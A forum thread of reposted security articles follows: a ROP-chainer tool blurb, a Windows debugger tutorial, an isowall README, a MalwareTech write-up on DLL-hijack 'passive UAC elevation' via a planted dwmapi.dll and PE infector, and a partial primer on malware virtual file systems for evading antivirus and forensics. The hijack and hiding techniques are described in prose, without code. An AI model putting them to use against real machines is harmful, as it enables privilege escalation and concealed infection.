Nytro

Agafi-ROP x86 ROP-Chainer Tool Authored by Nicolas A. Economou Agafi-ROP is a x86 ROP-Chainer tool oriented to build ROP chains for win32 programs, modules, and running processes. Sursa: Agafi-ROP x86 ROP-Chainer Tool ? Packet Storm

Writing a Primitive Debugger: Part 1 (Basics) Posted on November 27, 2014 by admin As software developers (or reverse engineers), debuggers are an invaluable tool. They allow for runtime analysis and introspection/understanding of the program in order to find out how it works — or oftentimes doesn’t. This series of posts will go in to how they work and how to begin developing a primitive debugger targeting the Windows platform running on the x86 or x64 architectures. Attaching/Detaching In order to debug a process, a debugger must be able to attach to it. This means that there should be a way for the debugger to interact with the process in such a way that the debugger will have access to the processes address space, the ability to halt and continue execution, modify registers, and so on. Likewise, a debugger should be able to safety detach from a process and let it continue running when a debugging session is finished. On the Windows platform this is achieved by calling the DebugActiveProcess function and specifying the process identifier of the target. Alternatively, it can also be accomplished by calling CreateProcess with the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags. This latter method will create a new process and attach to it rather than attaching to one already running on the system. Once attached, the debugger can specify a policy on whether to kill the process on detach with DebugSetProcessKillOnExit. Lastly, the process for detaching is a straightforward call to DebugActiveProcessStop. Putting all of these together produces code similar to the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Start[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcess[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] bIsSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugSetProcessKillOnExit[COLOR=#008000]([/COLOR]m_bKillOnExit[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bIsSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not set process kill on exit policy. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] DebuggerLoop[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not debug process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Stop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcessStop[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not stop debugging process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] m_bIsActive[COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] where m_dwProcessId and m_bKillOnExit are parameters provided through the Debugger constructor (see sample code). The BOOLIFY macro is also just a simple [TABLE] [TR] [TD=class: code]#define BOOLIFY(x) !!(x)[/TD] [/TR] [/TABLE] definition to encourage type safety. At this point we have a simple debugger that can attach to and detach from a target process, but cannot handle any debug events. This is where the debugging loop comes in. The Debugging Loop The core component of any debugger is the debugging loop. This is the part responsible for waiting for a debug event, processing said event, and then waiting for the next event, hence the loop. On the Windows platform, this is pretty straightforward. It’s actually straightforward enough that Microsoft wrote up a short MSDN page on what needs to be done at this step. The steps involved are that (in a loop), the debugger calls WaitForDebugEvent which waits for a debug event from the process. These debug events are enumerated here and are commonly events related to process and thread creation/destruction, loading or unloading of DLLs, any exceptions raised, or debug strings output specifically for a debugger to see. Once this function returns, it will populate a DEBUG_EVENT structure with the information related to the particular debug event. At this point, it is the debuggers job to handle the event. After handling the event, the handlers must provide a continue status to ContinueDebugEvent, which is a code telling the thread that raised the event how to carry on execution after the event was handled. For most events, i.e. CREATE_PROCESS_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, etc, you want to continue execution since these events do not reflect anything wrong with program behavior, but are events to notify the debugger of changing process state. This is done by choosing DBG_CONTINUE as the continue status. For the exceptional cases, such as exceptions which lead to undefined program behavior such as access violations, illegal instruction execution, divides by zero, etc, the process is nearing a point of no return. The debuggers job at this point is to gather and display information relating to the crash and in most cases terminate the process. This termination can happen inside the handler itself for these exceptions, or the debugger can choose to continue the debug event with the DBG_EXCEPTION_NOT_HANDLED continue status, meaning that the debugger is relinquishing responsibility of handling this exception properly. In almost all cases, this will lead to the program terminating on its own immediately afterwards. However, there are sometimes corner cases, particularly in malware, where the process will install its own runtime exception handler as an obfuscation technique and produce its own runtime exceptions to be handled within this handler to carry out some functionality. Continuing the exception in this case would not result in a crash since the process is able to handle its own exception after the debugger forwards it along the exception handler chain. Putting cases like those aside for now, a typical debugging loop may look like the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]DebuggerLoop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] DEBUG_EVENT dbgEvent [COLOR=#000080]=[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]0[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008080];[/COLOR] DWORD dwContinueStatus [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]bool[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]while[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]WaitForDebugEvent[COLOR=#008000]([/COLOR][COLOR=#000040]&[/COLOR]dbgEvent, INFINITE[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"WaitForDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]Notify[COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008000])[/COLOR]dbgEvent.[COLOR=#007788]dwDebugEventCode[/COLOR], dbgEvent[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] dwContinueStatus [COLOR=#000080]=[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]ContinueStatus[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]ContinueDebugEvent[COLOR=#008000]([/COLOR]dbgEvent.[COLOR=#007788]dwProcessId[/COLOR], dbgEvent.[COLOR=#007788]dwThreadId[/COLOR], dwContinueStatus[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"ContinueDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]true[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] with m_pEventHandler being responsible for registering handlers and setting a continue status to be passed along to ContinueDebugEvent. The example code registers handlers for events/exceptions and outputs information relevant to each event/exception. The style below is followed for all events and exceptions: [TABLE] [TR] [TD="class: code"]Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateThread[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateThread[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_THREAD_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateProcess[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateProcessInfo[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_PROCESS_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (image file): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (process): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (main thread): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Image base address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info file offset: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info size: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hFile[/COLOR], info.[COLOR=#007788]hProcess[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpBaseOfImage[/COLOR], info.[COLOR=#007788]dwDebugInfoFileOffset[/COLOR], info.[COLOR=#007788]nDebugInfoSize[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] m_hProcess [COLOR=#000080]=[/COLOR] info.[COLOR=#007788]hProcess[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR][/TD] [/TR] [/TABLE] That should be all that is really needed to get started on creating a basic debugger. This debugger features the ability attach/detach, handle debug events, and output information pertaining to these events. To test this out, we can create a simple program to generate an exception that will be caught by the debugger when it is attached. [TABLE] [TR] [TD="class: code"][COLOR=#339900]#include <stdio.h>[/COLOR] [COLOR=#339900]#include <Windows.h>[/COLOR] [COLOR=#0000ff]int[/COLOR] main[COLOR=#008000]([/COLOR][COLOR=#0000ff]int[/COLOR] argc, [COLOR=#0000ff]char[/COLOR] [COLOR=#000040]*[/COLOR]argv[COLOR=#008000][[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Press enter to raise an exception.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#0000ff]void[/COLOR][COLOR=#008000])[/COLOR][COLOR=#0000dd]getchar[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]IsDebuggerPresent[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] OutputDebugStringA[COLOR=#008000]([/COLOR][COLOR=#FF0000]"This should be seen by the debugger.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] RaiseException[COLOR=#008000]([/COLOR]STATUS_ACCESS_VIOLATION, [COLOR=#0000dd]0[/COLOR], [COLOR=#0000dd]0[/COLOR], nullptr[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Process was not being debugged.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] Here is the output of the debugger upon attaching to the process and receiving the access violation: CREATE_PROCESS_DEBUG_EVENT received. Handle (image file): 4C Handle (process): 48 Handle (main thread): 44 Image base address: EE0000 Debug info file offset: 0 Debug info size: 0 TLS base: 7F03F000 Start address: 0 LOAD_DLL_DEBUG_EVENT received. Handle: 54 Base address: 77040000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\ntdll.dll LOAD_DLL_DEBUG_EVENT received. Handle: 5C Base address: 76A00000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\kernel32.dll LOAD_DLL_DEBUG_EVENT received. Handle: 50 Base address: 765D0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\KernelBase.dll LOAD_DLL_DEBUG_EVENT received. Handle: 60 Base address: F7F0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\msvcr120d.dll [COLOR=#ff9900]CREATE_THREAD_DEBUG_EVENT received. Handle: 64 TLS base: 7F03C000 Start address: 770EBCFC Received exception event. First chance exception: 1 Exception code: 80000003 Exception flags: 0 Exception address: 770670BC Number parameters (associated with exception): 1 Received breakpoint EXIT_THREAD_DEBUG_EVENT received. Thread 1B20 exited with code 0.[/COLOR] [COLOR=#ff0000]OUTPUT_DEBUG_STRING_EVENT received. Debug string: This should be seen by the debugger. Received exception event. First chance exception: 1 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation Received exception event. First chance exception: 0 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation EXIT_PROCESS_DEBUG_EVENT received. Process 390 exited with code C0000005.[/COLOR] As you can see from the output, the debugger receives a CREATE_PROCESS_DEBUG_EVENT upon attaching. This event is always the first one triggered upon a debugger attaching and lets the debugger obtain a handle to the process that lets the debugger read/write from process memory, change the processes thread contexts, etc. It also may give information about any sort of debug information relevant to the process. Following that are the events related to any loaded DLLs in the process address space. Afterwards two interesting events come up. They are a CREATE_THREAD_DEBUG_EVENT and an exception with an exception code corresponding to EXCEPTION_BREAKPOINT. These are covered in the section below. Lastly, the debugger successfully displays the debug string provided by the process, and shows the access violation also being successfully received. Since the debugger sample code does not terminate the process, you can see the exception being raised multiple times. Initially it is raised as a first chance exception, but comes back around around as a second/last chance exception since the target process was not able to handle it. The process then terminates with a status code corresponding to EXCEPTION_ACCESS_VIOLATION. What actually happens when a debugger is attached? One current mystery about the debugger output may be where those CREATE_THREAD_DEBUG_EVENT, breakpoint, and EXIT_THREAD_DEBUG_EVENT events came from. These events are triggered as a result of the debugger attaching to the process. When the DebugActiveProcess is called, it forwards on to the NtDebugActiveProcess syscall. This syscall is responsible for setting up the process to be in a debugable state, which at the very least involves changing the BeingDebugged flag of the Process Environment Block for the target process — this is how the IsDebuggerPresent function works in the target process to check if it is being debugged. Afterwards, a thread will be created in the target process. This thread will have a start address that corresponds to an 0xCC (int 3) instruction, better known as a breakpoint on x86 and x64 architectures. This is why the debugger displays as having received a breakpoint. When execution is continued, this thread exits the process begins executing normally again. Article Roadmap Future posts will be related on topics closely following the items below: Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features The full source code relating to this can be found here. C++11 features were used, so MSVC 2012/2013 is most likely required. Sursa: Writing a Primitive Debugger: Part 1 (Basics) | RCE Endeavors

isowall – Completely Isolate A Device From The Local Network Isowall is a mini-firewall that allows you to completely isolate a device from the local network. This is for allowing infected machines Internet access, but without endangering the local network. Building This project depends upon libpcap, and of course a C compiler. On Debian, the following should work: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]# apt-get install git gcc make libpcap-dev # git clone https://github.com/robertdavidgraham/isowall # cd isowall # make [/TD] [/TR] [/TABLE] This will put the binary isowall in the local isowall/bin directory. This should also work on Windows, Mac OS X, xBSD, and pretty much any operating system that supports libpcap. Running First, setup a machine with three network interfaces. The first network interface (like eth0) will be configured as normal, with a TCP/IP stack, so that you can SSH to it. The other two network interfaces should have no TCP/IP stack, no IP address, no anything. This is the most important configuration step, and the most common thing you’ll get wrong. For example, the DHCP software on the box may be configured to automatically send out DHCP requests on these additional interfaces. You have to go fix that so nothing is bound to these interfaces. To run, simply type: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# ./bin/isowall --internal eth1 --external eth2 -c xxxx.conf [/TD] [/TR] [/TABLE] Configuration The following shows a typical configuration file [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums]1 2 3 4 5 6 7 8 9 10 11 12 [/TD] [TD=class: crayon-code]internal = eth1 internal.target.ip = 10.0.0.129 internal.target.mac = 02:60:8c:37:87:f3 external = eth2 external.router.ip = 10.0.0.1 external.router.mac = 66:55:44:33:22:11 allow = 0.0.0.0/0 block = 192.168.0.0/16 block = 10.0.0.0/8 block = 224.0.0.0-255.255.255.255 [/TD] [/TR] [/TABLE] You can download isowall here: master.zip Or read more here – the author can be found on Twitter here @erratarob. Sursa: isowall - Completely Isolate A Device From The Local Network - Darknet - The Darkside

[h=1]Passive UAC Elevation[/h] I had a cool idea for a way to get the user to passively elevate your application without socially engineering them to do so or requiring exploits. Obviously you could just go ahead and start mass infecting executables, but that would cause a lot of unforeseen problems and would also mean digitally signed applications from trusted providers would now appear as untrusted files. A good alternative would be hijacking a single dll. I won't call this a "UAC Bypass" as it still requires the user to elevate an application (just not yours). [h=2]LoadLibrary[/h] This is something most people should already know, but I'll go ahead and clarify for anyone that doesn't. When an application calls LoadLibrary on a dll but doesn't supply the full path to the file: The system will first check the KnownDlls registry key for the path, if it's not found there, then the system will the look in the directory the application was executed from, before finally looking in system paths such as system32/syswow64. If you were to write a dll to the same path as an application and give it the same name as a commonly loaded system dll, it would likely be loaded by the application instead of the real thing; However, the dll must meet the following criteria. The application must load the dll by its name and not the full path (this is common). The dll must not exist in HKLM\SYSTEM\Control\Session Manager\KnownDLLs. The dll must match the process architecture (64-bit processes will quietly skip 32-bit dlls and vice versa). The dll should exist in system32 or syswow64, special paths don't appear to work. ZeroAccess abused this method to "social engineer" the user into elevating the file. This was done by downloading the Adobe Flash installer from the official site, writing the bot's dll to the same path as the installer, then running it. When the installer was executed, the user account control popup would state that the application was from a verified publisher "Adobe Systems Incorporated" and the user would probably allow it to elevate (resulting in the elevated installer loading the bot's malicious dll). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Is it a real flash update? Is it just ZeroAccess? Nobody know.[/TD] [/TR] [/TABLE] [h=2]A Less Invasive Method[/h] What if there was a folder where 90% of the applications that require UAC elevation reside and what if it was writable from a non-elevated process? Well it turns out that folder exists: say hello to %userprofile%\Downloads\. You can probably see where I'm going with this. Although I wasn't expecting to find a dll that is loaded by most applications and meets all the criteria for a hijackable dll, after about 5 minutes of searching I found the motherload: dwmapi.dll. Not only does this dll meet all the criteria, but it appears to be loaded by all setup files... So let's make a hello world dll, name it dwmapi.dll, drop it to the downloads folder, and run a setup file. Success! The only problem here is that as soon as we start the setup it'll crash because we've replaced an important dll, however this is a fairly easy fix: dll infection. [h=2]Writing a DLL Infector[/h] My first idea was to simply add a new section header, change the NumberOfSections field in the PE header, then just append my section on to the end of the PE file. As it happens, directly after the last section header is the bound imports directory, which would be overwritten by our new section header. So after about 2 hours of writing an application to rebuild the entire PE from scratch, someone reminded me that the bound imports directory is just there to speed up the loading of imports and can simply be overwritten then disabled in the PE header. Following 15 minutes of holding CTRL + Z, I'm back to where I started and feeling a bit silly. An additional 2 lines of code has my infector working perfectly and we're ready to move on to the next step. The current infector simply disable and overwrite the bound imports directory with the new section header, append the new section to the end of the PE file, adjusts the SizeOfImage to accommodate the new section, then changes the AddressOfEntryPoint to point to our new section. All we need now is some code for the section. [h=2]The Shellcode[/h] The obvious choice was the make the new section execute shellcode so we don't have to worry about relocations or imports. The actual code is pretty simple and written using some handy FASM macros, I'll quickly run over how it works. Checks the stack to make sure that dwmapi.dll was called with DLL_PROCESS_ATTACH Navigates the PEB Ldr structure to get the base address of Kernel32 and Ntdll. Usess a simple GetProcAddress implementation to import the following functions: NtOpenProcessToken, NtQueryInformationToken, NtClose, ExpandEnvironmentStringsA, CreateProcessA. Opens the current process token and queries it to confirm the application we are running from is UAC elevated. Gets the path of cmd.exe then executes it (UAC elevated of course). Passes execution back to the real dwmapi.dll entry point so execution can continue. [h=2]Putting It All Together[/h] The final product infects dwmapi.dll with our shellcode and places it in the download folder, once the user downloads and runs a setup that requires UAC elevation, our elevated command prompt will be spawned ( Because of Wow64FsRedirect and the fact that most setups run under wow64, we can use the same code on 32-bit and 64-bit windows). I've uploaded the full infector and shellcode source to my github: https://github.com/MalwareTech/UACElevator Sursa: Passive UAC Elevation | MalwareTech

[h=1]Virtual File Systems for Beginners[/h] A virtual File System (VFS), sometimes referred to as a Hidden File System, is a storage technique most commonly used by kernel mode malware, usually to store components outside of the existing filesystem. By using a virtual filesystem, malware developers can both bypass antivirus scanners as well as complicating work for forensic experts. [h=2]Filesystem Basics[/h] If you're running Windows and not using hardware from the 90s, or have your OS installed on a flash drive; chances are, you're using the New Technology File System (NTFS). In order to understand how a VFS benefits malware developers, first we need to dive into a bit of filesystem basics. In this example we have a disk containing only one partition (which runs Windows). The Master Boot Record (MBR) gives the system information about the partition, such as its start sector and size. The Volume Boot Record (VBR) is the primary boot code and will load and Windows bootloader and execute it; The VBR is the first sector within the NTFS partition. $BOOT is the boot area and contains the Windows boot loader. $MFT is the Master File Table and tells the system where to find files within the filesystem. Antivirus Scans A full system scan will go through every file in the master file table and scan it, additionally the antivirus can hook the filesystem driver and scan files on creation / write. If somebody didn't want a file to be scanned, not adding an entry to the MFT would be a good start. Unfortunately, if sectors within the partition are not referenced by the MFT, they are assumed unused and likely to be overwritten as more files are written to the disk. Malware Forensics There are lots of techniques used when analyzing an infected system; however, looking for new/modified files is a common starting point for an analyst. To speed up file deletion, the system simply deletes the file's record in the MFT but leaves the actual file intact, this way the sectors can be overwritten by an new file and the system doesn't have to waste time zeroing out the old one. Due to the fact there's going to be random data left by deleted files all over the disk, it's very easy for an encrypted virtual filesystem to hide, further complicating analysis. Obviously if we can't write directly to free sectors within the partition for fear of them being overwritten, then we're going to have to write our VFS outside of the partition; What makes this possible is the fact that there is unused reserves space on both ends of the disk. [h=2]Disk Basics[/h] For people who are interested in the (very technical) reasons behind the reserved space at the beginning and end of the disk, I suggest reading this section. If you're not interested or easily confused, skip to Virtual File Systems. Space after the MBR A disk platter is divided into tracks which are divided into sectors; a single sector is 512 bytes in size and there are a fixed number of sectors per a track. As technology advanced the physical size of sectors got smaller so more sectors could be fit onto a single track; however, the MBR field that describes the number of sectors is 6 bits in size, thus can only support numbers 0 - 63, limiting the sectors per track to 63. Eventually, someone figured out that the the closer to the edge of the disk you get, the longer the tracks are and the more sectors the can hold. Nowadays the number of sectors per a track varies depending on how far away from the spindle the track is, making the sectors per a track field of the MBR totally meaningless; For compatibility reason, disks with more than 63 sectors per a track will just leave the value set at 63, the same goes for SSDs or other media that doesn't have tracks. For optimization reasons when partitioning the disk, the Windows partition manager will read the sectors per track value and align the partition on the track boundary (63 sectors per track vmeans that the MBR will be sector 0 track 0, while the start of the partition will be sector 0 track 1, leaving 62 sectors of unused space between the MBR and first partition). The only problem with aligning the partition to 63 virtual (512kb) sectors is if the disk internally used 4kb sectors, then there's going to be a huge performance penalty because 63 * 512 is not a multiple of 4kb, so the OS will constantly be writing across sector boundaries and wasting time with unnecessary Read-Modify-Write cycles. In Windows Vista and onward Microsoft addresses this issue by starting the partition on the 2048th sector (leaving 1 MB of reserved space and 4kb aligning the partition), nobody is exactly sure why they chose to leave so much space, but when it comes to malware, 1 MB is a lot of storage. Space at then end of the disk 